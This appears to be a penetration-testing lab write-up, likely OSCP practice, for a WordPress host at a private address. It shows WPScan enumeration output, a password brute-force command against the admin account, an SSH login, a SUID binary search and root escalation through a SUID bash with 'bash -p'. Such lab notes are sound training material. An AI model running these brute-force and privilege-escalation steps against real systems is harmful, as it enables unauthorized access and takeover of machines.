[+] WordPress readme found: http://192.168.204.89/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.204.89/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.204.89/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
| - http://192.168.204.89/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://192.168.204.89/wp-content/themes/twentytwenty/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://192.168.204.89/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 2.2
| Style URL: http://192.168.204.89/wp-content/themes/twentytwenty/style.css?ver=1.2
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.204.89/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:05 <=============> (503 / 503) 100.00% Time: 00:00:05
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:35 <===========> (2575 / 2575) 100.00% Time: 00:00:35
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <==============> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:01 <====================> (71 / 71) 100.00% Time: 00:00:01
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:07 <=========> (100 / 100) 100.00% Time: 00:00:07
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <===============> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://192.168.204.89/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Jun 21 15:41:15 2023
[+] Requests Done: 3409
[+] Cached Requests: 41
[+] Data Sent: 956.19 KB
[+] Data Received: 531.376 KB
[+] Memory used: 277.641 MB
[+] Elapsed time: 00:00:58
Found user admin
Will attempt a wpscan bruteforce
#Weaponization
Added to local id_rsa file
#Exploit
##Wordpress bruteforce
wpscan --url http://192.168.204.89 -U admin -P /usr/share/wordlists/rockyou.txt
.
.
.
[+] Performing password attack on Wp Login against 1 user/s
[i] No Valid Passwords Found.
##sqlmap (Not OSCP Kosher but worth a look)
output too long
Nothing
##SSH
→ ssh oscp@192.168.204.89 15:58:44
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 21 Jun 2023 03:58:56 PM UTC
System load: 1.2 Processes: 214
Usage of /: 25.4% of 19.56GB Users logged in: 0
Memory usage: 67% IPv4 address for eth0: 192.168.204.89
Swap usage: 0%
0 updates can be installed immediately.
0 of these updates are security updates.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
-bash-5.0$ whoami
oscp
-bash-5.0$ ls
ip local.txt
-bash-5.0$ cat ip
#!/bin/sh
cp /etc/issue-standard /etc/issue
/usr/local/bin/get-ip-address >> /etc/issue
-bash-5.0$ cat local.txt
e0aeb84eff29ca9fd5bd651cac244aba
-bash-5.0$ ls -alt
total 36
drwxr-xr-x 4 oscp oscp 4096 Jun 21 15:58 .
drwx------ 2 oscp oscp 4096 Jun 21 15:58 .cache
-rw-r--r-- 1 oscp oscp 33 Jun 21 15:26 local.txt
-rw------- 1 oscp oscp 0 Aug 28 2020 .bash_history
-rwxr-xr-x 1 root root 88 Jul 9 2020 ip
drwxrwxr-x 2 oscp oscp 4096 Jul 9 2020 .ssh
-rw-r--r-- 1 oscp oscp 0 Jul 9 2020 .sudo_as_admin_successful
drwxr-xr-x 3 root root 4096 Jul 9 2020 ..
-rw-r--r-- 1 oscp oscp 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 oscp oscp 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 oscp oscp 807 Feb 25 2020 .profile
-bash-5.0$ cat ip
#!/bin/sh
cp /etc/issue-standard /etc/issue
/usr/local/bin/get-ip-address >> /etc/issue
Basic debugging script
#privilege Escalation
Now on the host I can either run everything manually or look for n automated method. I'll run linpeas
##Check bins for root tier privlerdges
bash-5.0# find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 110792 Jul 29 2020 /snap/snapd/8790/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 110792 Jun 5 2020 /snap/snapd/8140/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap/core18/1885/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap/core18/1885/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1885/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1885/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1885/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1885/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap/core18/1754/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1754/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1754/bin/su
-rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap/core18/1754/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1754/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1754/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1754/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1754/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1754/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1754/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1754/usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 130152 Jun 5 2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
-rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 166056 Feb 3 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
-rwsr-sr-x 1 root root 1183448 Feb 25 2020 /usr/bin/bash
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
https://gtfobins.github.io/gtfobins/bash/#suid
-bash-5.0$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
fix-wordpress flag.txt proof.txt snap
bash-5.0# cat proof.txt
fb49956448432e09aa409127465a0fb4
Boot2Root